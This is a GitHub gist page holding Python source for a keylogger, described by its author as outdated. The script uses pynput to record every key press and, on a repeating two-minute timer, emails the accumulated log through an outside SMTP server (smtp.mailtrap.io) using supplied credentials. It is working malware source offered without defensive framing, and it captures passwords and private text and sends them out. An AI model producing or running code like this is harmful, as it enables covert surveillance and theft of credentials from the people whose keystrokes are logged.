Skip to content

Instantly share code, notes, and snippets.

@davidlares
Last active September 11, 2023 17:58
Show Gist options
  • Save davidlares/29978184b80fd1911fd4729d039c4462 to your computer and use it in GitHub Desktop.
Save davidlares/29978184b80fd1911fd4729d039c4462 to your computer and use it in GitHub Desktop.
An outdated python Keylogger
from pynput import keyboard
import threading
import smtplib
class KeyLogger:
def __init__(self, time_interval, email, username, password):
self.log = "KeyLogger started"
self.interval = time_interval
self.username = username
self.password = password
self.email = email
def start(self):
# instance
listener = keyboard.Listener(on_press=self.process_key_press) # callback
with listener:
self.report()
listener.join()
def append_to_log(self, content):
self.log += content
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
# appending
self.append_to_log(current_key)
def report(self):
self.send_email("\n\n" + self.log)
self.log = ""
# starting thread
timer = threading.Timer(self.interval, self.report)
# starting the thread
timer.start()
def send_email(self, message):
# instance
server = smtplib.SMTP("smtp.mailtrap.io", 587)
server.starttls()
server.login(self.username, self.password) # login
server.sendmail(self.email, self.email, message) # sending message
server.quit()
if __name__ == "__main__":
kl = KeyLogger(120, '[email protected]', '[LOL]', '[LOL]')
kl.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment